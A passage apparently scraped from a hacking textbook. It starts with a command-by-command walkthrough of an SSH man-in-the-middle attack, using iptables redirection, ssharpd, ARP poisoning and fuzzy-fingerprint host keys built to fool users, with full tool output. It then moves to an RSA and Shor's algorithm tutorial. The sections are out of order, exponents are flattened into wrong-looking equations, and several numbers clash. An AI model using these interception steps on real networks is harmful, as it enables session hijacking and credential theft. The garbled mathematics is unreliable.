Trying 192.168.0.189...
Connected to 192.168.0.189.
Escape character is '^]'.
SSH-1.99-OpenSSH_3.5p1

On machine overdose @ 192.168.0.118 setting up MiM attack
overdose# iptables -t nat -A PREROUTING -p tcp --sport 1000:5000 --dport 22 -j
REDIRECT --to-port 1337 -i eth0
overdose# ./ssharpd -4 -p 1337 -7


Dude, Stealth speaking here. This is 7350ssharp, a smart
SSH1 & SSH2 MiM attack implementation. It's for demonstration
and educational purposes ONLY! Think before you type ... ( or )

Using special SSH2 MiM ...
overdose# ./arpredirect.pl 192.168.0.118 192.168.0.189
Pinging 192.168.0.118 and 192.168.0.189 to retrieve MAC addresses...
Retrieving MAC addresses from arp cache...
Retrieving your IP and MAC info from ifconfig...
[*] Gateway: 192.168.0.118 is at 00:C0:F0:79:3D:30
[*] Target: 192.168.0.189 is at 00:02:2D:04:93:E4
[*] You: 192.168.0.193 is at 00:00:AD:D1:C7:ED
Redirecting: 192.168.0.118 -> 00:00:AD:D1:C7:ED <- 192.168.0.189
Redirecting: 192.168.0.118 -> 00:00:AD:D1:C7:ED <- 192.168.0.189

From machine euclid @ 192.168.0.118 after MiM attack
euclid$ telnet 192.168.0.189 22
Trying 192.168.0.189...
Connected to 192.168.0.189.
Escape character is '^]'.
SSH-2.0-OpenSSH_3.5p1

Usually, clients like euclid connecting to 192.168.0.189 would have only communicated using SSH1. Therefore, there would only be a protocol 1 host fingerprint stored on the client. When protocol 2 is forced by the MiM attack, the attacker's fingerprint won't be compared to the stored fingerprint due to the differing protocols. Older implementations will simply ask to add this fingerprint, because technically no host fingerprint exists for this protocol. This is shown in the output below.

euclid$ ssh root@192.168.0.189
The authenticity of host '192.168.0.189 (192.168.0.189)' can't be established.
RSA key fingerprint is cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f.
Are you sure you want to continue connecting (yes/no)?

Because this vulnerability was made public, newer implementations of OpenSSH have a slightly more verbose warning:

euclid$ ssh root@192.168.0.189
WARNING: RSA1 key found for host 192.168.0.189
in /home/matrix/.ssh/known_hosts:19
RSA1 key fingerprint c0:42:19:c7:0d:dc:d7:65:cd:c3:a6:53:ec:fb:82:f8.
The authenticity of host '192.168.0.189 (192.168.0.189)' can't be established,
but keys of different type are already known for this host.
RSA key fingerprint is cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f.
Are you sure you want to continue connecting (yes/no)?

This modified warning isn't as strong as the warning given when host fingerprints of the same protocol don't match. Also, because not all clients will be up-to-date, this technique can still prove to be useful for a MiM attack.

0x453 Fuzzy Fingerprints
Konrad Rieck had an interesting idea regarding SSH host fingerprints. Often a user will connect to a server from several different clients. The host fingerprint will be displayed and added each time a new client is used, and a security-conscious user will tend to remember the general structure of the host fingerprint. While no one actually memorizes the entire fingerprint, major changes can be detected with little effort. Having a general idea of what the host fingerprint looks like when connecting from a new client greatly increases the security of that connection. If a MiM attack is attempted, the blatant difference in host fingerprints can usually be detected by eye.

However, the eye and the brain can be tricked. Certain fingerprints will look very similar to others. Digits like 1 and 7 look very similar, depending on the display font. Usually the hex digits found at the beginning and end of the fingerprint are remembered with the greatest clarity, while the middle tends to be a bit hazy. The goal behind the fuzzy fingerprint technique is to generate host keys with fingerprints that look similar enough to the original fingerprint to fool the human eye.

The openssh package provides tools to retrieve the host key from servers.

overdose$ ssh-keyscan -t rsa 192.168.0.189 > /tmp/189.hostkey
# 192.168.0.189 SSH-1.99-OpenSSH_3.5p1
overdose$ cat /tmp/189.hostkey
192.168.0.189 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAztDssBM41F7IPw+q/SXRjrqPp0ZazT1gfofdmBx9oVHBcHlbyrJDTdE
hzA2EAXU6YowxyhApWUptpbPru4JW7aLhtCsWKLSFYAkdVnaXTIbWDD8rAfKFLOdaaW0ODxALOROxoTYasx
MLWN4Ri0cdwpXZyyRqyYJP72Kqmdz1kjk=
overdose$ ssh-keygen -l -f /tmp/189.hostkey
1024 cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f 192.168.0.189
overdose$

Now that the host key fingerprint format is known for 192.168.0.189, fuzzy fingerprints can be generated that look similar. A program that does this has been developed by Mr. Rieck and is available at http://www.thc.org/thc-ffp/. The following output shows the creation of some fuzzy fingerprints for 192.168.0.189.

overdose$ ffp
Usage: ffp [Options]
Options:
-f type Specify type of fingerprint to use [Default: md5]
Available: md5, sha1, ripemd
-t hash Target fingerprint in byte blocks.
Colon-separated: 01:23:45:67... or as string 01234567...
-k type Specify type of key to calculate [Default: rsa]
Available: rsa, dsa
-b bits Number of bits in the keys to calculate [Default: 1024]
-K mode Specify key calulation mode [Default: sloppy]
Available: sloppy, accurate
-m type Specify type of fuzzy map to use [Default: gauss]
Available: gauss, cosine
-v variation Variation to use for fuzzy map generation [Default: 7.3]
-y mean Mean value to use for fuzzy map generation [Default: 0.14]
-l size Size of list that contains best fingerprints [Default: 10]
-s filename Filename of the state file [Default: /var/tmp/ffp.state]
-e Extract SSH host key pairs from state file
-d directory Directory to store generated ssh keys to [Default: /tmp]
-p period Period to save state file and display state [Default: 60]
-V Display version information
No state file /var/tmp/ffp.state present, specify a target hash.
$ ffp -f md5 -k rsa -b 1024 -t cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f
---[Initializing]--------------------------------------------------------------
Initializing Crunch Hash: Done
Initializing Fuzzy Map: Done
Initializing Private Key: Done
Initializing Hash List: Done
Initializing FFP State: Done


---[Fuzzy Map]-----------------------------------------------------------------
Length: 32
Type: Inverse Gaussian Distribution
Sum: 15020328
Fuzzy Map: 10.83% | 9.64% : 8.52% | 7.47% : 6.49% | 5.58% : 4.74% | 3.96% :
3.25% | 2.62% : 2.05% | 1.55% : 1.12% | 0.76% : 0.47% | 0.24% :
0.09% | 0.01% : 0.00% | 0.06% : 0.19% | 0.38% : 0.65% | 0.99% :
1.39% | 1.87% : 2.41% | 3.03% : 3.71% | 4.46% : 5.29% | 6.18% :


---[Current Key]---------------------------------------------------------------
Key Algorithm: RSA (Rivest Shamir Adleman)
Key Bits / Size of n: 1024 Bits
Public key e: 0x10001
Public Key Bits / Size of e: 17 Bits
Phi(n) and e r.prime: Yes
Generation Mode: Sloppy


State File: /var/tmp/ffp.state
Running...

---[Current State]-------------------------------------------------------------
Running: 0d 00h 00m 00s | Total: 0k hashs | Speed: nan hashs/s
-------------------------------------------------------------------------------
Best Fuzzy Fingerprint from State File /var/tmp/ffp.state
Hash Algorithm: Message Digest 5 (MD5)
Digest Size: 16 Bytes / 128 Bits
Message Digest: ab:80:18:e2:4d:4b:1b:fa:e0:8c:1c:4d:c5:9c:bc:ef
Target Digest: cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f
Fuzzy Quality: 30.715288%


---[Current State]-------------------------------------------------------------
Running: 0d 00h 01m 00s | Total: 5373k hashs | Speed: 89556 hashs/s
-------------------------------------------------------------------------------
Best Fuzzy Fingerprint from State File /var/tmp/ffp.state
Hash Algorithm: Message Digest 5 (MD5)
Digest Size: 16 Bytes / 128 Bits
Message Digest: cc:8b:1d:d9:8b:0f:c8:5f:f0:d7:a8:8f:3b:10:fe:3f
Target Digest: cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f
Fuzzy Quality: 54.822385%


---[Current State]-------------------------------------------------------------
Running: 0d 00h 02m 00s | Total: 10893k hashs | Speed: 90776 hashs/s
-------------------------------------------------------------------------------
Best Fuzzy Fingerprint from State File /var/tmp/ffp.state
Hash Algorithm: Message Digest 5 (MD5)
Digest Size: 16 Bytes / 128 Bits
Message Digest: cc:8b:1d:d9:8b:0f:c8:5f:f0:d7:a8:8f:3b:10:fe:3f
Target Digest: cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f
Fuzzy Quality: 54.822385%

[output trimmed]

---[Current State]-------------------------------------------------------------
Running: 7d 00h 57m 00s | Total: 52924141k hashs | Speed: 87015 hashs/s
-------------------------------------------------------------------------------
Best Fuzzy Fingerprint from State File /var/tmp/ffp.state
Hash Algorithm: Message Digest 5 (MD5)
Digest Size: 16 Bytes / 128 Bits
Message Digest: cc:80:12:55:eb:ef:9e:8e:53:bd:c7:9c:18:90:d5:0f
Target Digest: cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f
Fuzzy Quality: 69.035430%


-------------------------------------------------------------------------------
Exiting and saving state file /var/tmp/ffp.state

This fuzzy fingerprint generation process can go on for as long as desired. The program will keep track of some of the best fingerprints internally and periodically display them. All of the state information is stored in /var/tmp/ffp.state, so the program can be exited with a CTRL-c and then resumed again later by simply running ffp without any arguments.

After running for a while, SSH host key pairs can be extracted from the state file with the -e switch.


overdose$ ffp -e -d /tmp
---[Restoring]-----------------------------------------------------------------
Reading FFP State File: Done
Restoring environment: Done
Initializing Crunch Hash: Done
-------------------------------------------------------------------------------
Saving SSH host key pairs: [00] [01] [02] [03] [04] [05] [06] [07] [08] [09]
overdose$ ls /tmp/ssh-rsa*
/tmp/ssh-rsa00 /tmp/ssh-rsa02.pub /tmp/ssh-rsa05 /tmp/ssh-rsa07.pub
/tmp/ssh-rsa00.pub /tmp/ssh-rsa03 /tmp/ssh-rsa05.pub /tmp/ssh-rsa08
/tmp/ssh-rsa01 /tmp/ssh-rsa03.pub /tmp/ssh-rsa06 /tmp/ssh-rsa08.pub
/tmp/ssh-rsa01.pub /tmp/ssh-rsa04 /tmp/ssh-rsa06.pub /tmp/ssh-rsa09
/tmp/ssh-rsa02 /tmp/ssh-rsa04.pub /tmp/ssh-rsa07 /tmp/ssh-rsa09.pub
overdose$

In the preceding example, ten public and private host key pairs have been generated. Fingerprints for these key pairs can then be generated and compared with the original fingerprint, as seen in the following output.

overdose$ ssh-keygen -l -f /tmp/189.hostkey
1024 cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f 192.168.0.132
overdose$ ls -1 /tmp/ssh-rsa??.pub | xargs -n 1 ssh-keygen -l -f
1024 cc:80:12:55:eb:ef:9e:8e:53:bd:c7:9c:18:90:d5:0f /tmp/ssh-rsa00.pub
1024 cc:80:18:7a:7c:ce:bd:47:00:9c:38:5d:8e:50:5d:0f /tmp/ssh-rsa01.pub
1024 ec:80:12:74:8b:a5:a3:ef:62:7c:29:9a:e8:10:57:0f /tmp/ssh-rsa02.pub
1024 cc:80:12:71:83:d3:aa:b4:f6:8c:d7:56:62:da:2e:0d /tmp/ssh-rsa03.pub
1024 cc:8c:10:d5:8f:79:52:65:8c:a2:e2:17:86:15:5e:0f /tmp/ssh-rsa04.pub
1024 cc:8b:12:7e:71:49:4e:08:db:c8:28:b7:5e:00:09:0f /tmp/ssh-rsa05.pub
1024 cc:80:12:54:8d:de:29:9d:b4:e7:5e:c8:40:40:7e:0c /tmp/ssh-rsa06.pub
1024 cc:80:12:70:83:a1:3a:ab:78:8d:38:97:7f:f5:d6:bf /tmp/ssh-rsa07.pub
1024 cc:80:92:76:83:8c:be:38:dc:f1:0e:45:ab:2e:53:0f /tmp/ssh-rsa08.pub
1024 cc:80:11:7d:88:a4:f7:f8:93:69:60:28:3b:1c:1e:5f /tmp/ssh-rsa09.pub
overdose$

From the ten generated key pairs, the one that seems to look the most similar can be determined by eye. In this case, ssh-rsa00.pub, shown in bold, was chosen. Regardless of which key pair is chosen, though, it will certainly look more like the original fingerprint than a randomly generated key would.

This new key can be used with ssharpd to make for an even more effective SSH MiM attack, as seen in the following output.

On overdose @ 192.168.0.193
overdose# ./ssharpd -h /tmp/ssh-rsa00 -p 1337

Dude, Stealth speaking here. This is 7350ssharp, a smart
SSH1 & SSH2 MiM attack implementation. It's for demonstration
and educational purposes ONLY! Think before you type ... ( or )

Disabling protocol version 1. Could not load host key
overdose#
overdose# ./arpredirect.pl 192.168.0.118 192.168.0.189
Pinging 192.168.0.118 and 192.168.0.189 to retrieve MAC addresses...
Retrieving MAC addresses from arp cache...
Retrieving your IP and MAC info from ifconfig...
[*] Gateway: 192.168.0.118 is at 00:C0:F0:79:3D:30
[*] Target: 192.168.0.189 is at 00:02:2D:04:93:E4
[*] You: 192.168.0.193 is at 00:00:AD:D1:C7:ED
Redirecting: 192.168.0.118 -> 00:00:AD:D1:C7:ED <- 192.168.0.189
Redirecting: 192.168.0.118 -> 00:00:AD:D1:C7:ED <- 192.168.0.189

Normal connection without MiM attack
euclid$ ssh root@192.168.0.189
The authenticity of host '192.168.0.189 (192.168.0.189)' can't be established.
RSA key fingerprint is cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f.
Are you sure you want to continue connecting (yes/no)?

Connection during MiM attack
euclid$ ssh root@192.168.0.189
The authenticity of host '192.168.0.189 (192.168.0.189)' can't be established.
RSA key fingerprint is cc:80:12:55:eb:ef:9e:8e:53:bd:c7:9c:18:90:d5:0f.
Are you sure you want to continue connecting (yes/no)?

Can you immediately tell the difference? The fingerprints look similar enough to trick most people into simply accepting the connection.

Start Hacking 3.4 (Asymmetric Encryption)

Asymmetric Encryption

Asymmetric ciphers use two keys: a public key and a private key. The public key is made public, while the private key is kept private; hence the clever names. Any message that is encrypted with the public key can only be decrypted with the private key. This removes the issue of key distribution — the public keys are public, and by using the public key, a message can be encrypted for the corresponding private key. There's no need for an out-of-band communication channel to transmit the secret key, as with symmetric ciphers. However, asymmetric ciphers tend to be quite a bit slower than symmetric ciphers.

RSA
RSA is one of the more popular asymmetric algorithms. The security of RSA is based on the difficulty of factoring large numbers. First, two prime numbers are chosen, P and Q, and the product is computed, resulting in N.

N = P · Q

Then the number of numbers between 1 and N – 1 that are relatively prime to N must be calculated (two numbers are relatively prime if their greatest common divisor is 1). This is known as Euler's totient function, and it is usually denoted by the lowercase Greek letter phi.

For example, φ(9) = 6, because 1, 2, 4, 5, 7, and 8 are relatively prime to 9. It should be easy to notice that if N is prime, φ(N) will be N − 1. A somewhat less obvious fact is that if N is the product of exactly two prime numbers, P and Q, φ(P · Q) = (P − 1) · (Q − 1). This comes in handy, because φ(N) must be calculated for RSA.

An encryption key, E, that is relatively prime to φ(N) must be chosen at random. Then a decryption key must be found that satisfies the following equation, where S is any integer.

E · D = S · φ(N) + 1

This can be solved with the extended Euclidean algorithm. The Euclidian algorithm is a very old algorithm that happens to be a very fast way to calculate the greatest common divisor (GCD) of two numbers. The larger of the two numbers is divided by the smaller number, only paying attention to the remainder. Then smaller number is divided by the remainder, and the process is repeated until the remainder is zero. The last value for the remainder before the zero is the greatest common divisor of the two original numbers. This algorithm is quite fast, with a runtime of O(log10N). That means that it should take about as many steps to find the answer as the number of digits in the larger number.

In the following table, the GCD of 7253 and 120, written as gcd(7253, 120), will be calculated. The table starts by putting the two numbers in the columns A and B, with the larger number in column A. Then A is divided by B, and the remainder is put in column R. On the next line, the old B becomes the new A, and the old R becomes the new B. R is calculated again, and this process is repeated until the remainder is zero. The last value of R before zero is the greatest common divisor.

gcd(7253, 120)

A
B
R


--------------------------------------------------------------------------------

7253
120
53

120
53
14

53
14
11

14
11
3

11
3
2

3
2
1

2
1
0


So, the greatest common divisor of 7243 and 120 is 1. That means that 7250 and 120 are relatively prime to each other.

The extended Euclidian algorithm deals with finding two integers, J and K, such that

J · A + K · B = R

when gcd(A, B) = R.

This is done by working the Euclidian algorithm backward. In this case, though, the quotient is important. Here is the math again from the prior example, with the quotients:

7253 = 60 · 120 + 53
120 = 2 · 53 + 14
53 = 3 · 14 + 11
14 = 1 · 11 + 3
11 = 3 · 3 + 2
3 = 1 · 2 + 1

With a little bit of basic algebra, the terms can be moved around for each line so the remainder (shown in bold) is by itself on the left of the equal sign.

53 = 7253 – 60 · 120
14 = 120 – 2 · 53
11 = 53 – 3 · 14
3 = 14 – 1 · 11
2 = 11 – 3 · 3
1 = 3 – 1 · 2

Starting from the bottom, it's clear that

1 = 3 – 1 · 2

The line above that, though, is 2 = 11 − 3 · 3, which gives a substitution for 2.

1 = 3 – 1 · (11 – 3·3)
1 = 4·3 – 1 · 11

The line before that shows that 3 = 14 − 1 · 11, which can also be substituted in for 3.

1 = 4 · (14 – 1 · 11) – 1 · 11
1 = 4 · 14 – 5 · 11

Of course, the line before that shows that 11 = 53 − 3 · 14, prompting another substitution.

1 = 4 · 14 – 5 · (53 – 3 · 14)
1 = 19 · 14 – 5 · 53

Following the pattern, the line before that shows 14 = 120 − 2 · 53, resulting in another substitution.

1 = 19 · (120 – 2 · 53) – 5 · 53
1 = 19 · 120 – 43 · 53

And finally, the top line shows that 53 = 7253 – 60 · 120, for a final substitution.

1 = 19 · 120 – 43 · (7253 – 60 · 120)
1 = 2599 · 120 – 43 · 7253
2599 · 120 +– 43 · 7253 = 1

This shows that J and K would be 2599 and −43, respectively.

The numbers in the prior example were chosen for their relevance to RSA. Assuming the values for P and Q are 11 and 13, N would be 143. Therefore φ(N) = 120 = (11−1) · (13−1). Because 7253 is relatively prime to 120, that number makes an excellent value for E.

If you'll recall, the goal was to find a value for D that satisfies the following equation:

E · D = S · φ(N) + 1

Some basic algebra puts it in a more familiar form:

D · E + S · φ(N) = 1

D · 7,253 ± S · 120 = 1

Using the values from the extended Euclidian algorithm, it's apparent that D = −43. The value for S really doesn't matter, which really means this is math done modulo φ(N), or modulo 120. That means a positive equivalent value for D is 77, because 120 − 43 = 77. This can be put into the prior equation from above.

E · D = S · φ(N) + 1

7253 · 77 = 4654 · 120 + 1

The values for N and E are distributed as the public key, while D is kept secret as the private key. P and Q are discarded. The encryption and decryption functions are fairly simple.

Encryption:

C = ME (modN)

Decryption:

M = CD (modN)

For example, if the message, M, is 98, encryption would be as follows:

987253 = 76 (mod 143)

The ciphertext would be 76. Then, only someone who knew the value for D could decrypt the message and recover the number 98 from the number 76, as follows:

7677 = 98 (mod 143)

Obviously, if the message, M, is larger than N, it must be broken down into chunks that are smaller than N.

This process is all made possible by Euler's totient theorem. It basically states that if M and N are relatively prime, with M being the smaller number, then when M is multiplied by itself φ(N) times and divided by N, the remainder will always be 1.

If gcd(M, N) = 1 and M < N then Mφ(N) = 1(modN). Because this is all done modulo N, the following is also true, due to the way multiplication works in modulus arithmetic.

Mφ(N) · Mφ(N) = 1 · 1(modN)

M2·φ(N) = 1(modN)

This process could be repeated again and again S times to produce this:

MS·φ(N) = 1(modN)

If both sides are multiplied by M, the result is

MS·φ(N) · M = 1 · M(modN)

MS·φ(N)+1 = M(modN)

This equation is basically the core of RSA. A number, M, raised to a power modulo N, produces the original number M again. This is basically a function that returns its own input, which isn't all that interesting in itself. But if this equation could be broken up into two separate parts, then one part could be used to encrypt and the other to decrypt, producing the original message again. This can be done by finding two numbers, E and D that multiplied together equal S times φ(N) plus 1. Then this value can be substituted into the previous equation.

E · D = S · φ(N)+1

ME · D = M(modN)

This is equivalent to

MED = M(modN)

which can be broken up into two steps:

ME = C(modN)

CD = M(modN)

And that's basically RSA. The security of the algorithm is tied to keeping D secret. But because N and E are both public values, if N can be factored into the original P and Q, then φ(N) can easily be calculated with (P − 1) · (Q − 1), and then D can be determined with the extended Euclidian algorithm. Therefore, the key sizes for RSA must be chosen with the best-known factoring algorithm in mind to maintain computational security. Currently, the best-known factoring algorithm for large numbers is the number field sieve (NFS). This algorithm has a sub-exponential runtime, which is pretty good, but still not fast enough to crack a 2,048-bit RSA key in a reasonable amount of time.

0x442 Peter Shor's Quantum Factoring Algorithm
Once again, quantum computation promises amazing increases in computation potential. Peter Shor was able to take advantage of the massive parallelism of quantum computers to efficiently factor numbers using an old number-theory trick.

The algorithm is actually quite simple. Take a number, N, to factor. Choose a value, A, that is less than N. This value should also be relatively prime to N, but assuming that N is the product of two prime numbers (which will always be the case when trying to factor numbers to break RSA), if A isn't relatively prime to N, then A is one of N's factors.

Next, load up the superposition with sequential numbers counting up from 1, and feed every one of those values through the function f(x) = Ax(modN). This is all done at the same time, through the magic of quantum computation. A repeating pattern will emerge in the results, and the period of this repetition must be found. Luckily, this can be done quickly on a quantum computer with a Fourier transform. This period will be called R.

Then, simply calculate gcd(AR/2 + 1, N) and gcd(AR/2 − 1, N). At least one of these values should be a factor of N. This is possible because AR = 1 (mod N), and is further explained below.

AR – 1(modN)

(AR/2)2 – 1(modN)

(AR/2)2 – 1 = 0(modN)

(AR/2 – 1) · (AR/2 + 1) = 0(modN)

This means that (AR/2 − 1) · (AR/2 + 1) is an integer multiple of N. As long as these values don't zero themselves out, one of them will have a factor in common with N.

To crack the previous RSA example, the public value N must be factored. In this case N equals 143. Next a value for A is chosen that is relatively prime to and less than N, so A equals 21. The function will look like f(x) = 21x(mod143). Every sequential value from 1 up to as high as the quantum computer will allow will be put through this function.

To keep this brief, the assumption will be that the quantum computer has three quantum bits, so the superposition can hold eight values.

x = 1 211 (mod 143) = 21

x = 2 212 (mod 143) = 12

x = 3 213 (mod 143) = 109

x = 4 214 (mod 143) = 1

x = 5 215 (mod 143) = 21

x = 6 216 (mod 143) = 12

x = 7 217 (mod 143) = 109

x = 8 218 (mod 143) = 1

Here the period is easy to determine by eye: R is 4. Armed with this information, gcd(212 −1, 143) and gcd(212 +1, 143) should produce at least one of the factors. Both factors actually appear this time, because gcd(440, 143) = 11 and gcd(442, 142) = 13. These factors can then be used to recalculate the private key for the previous RSA example.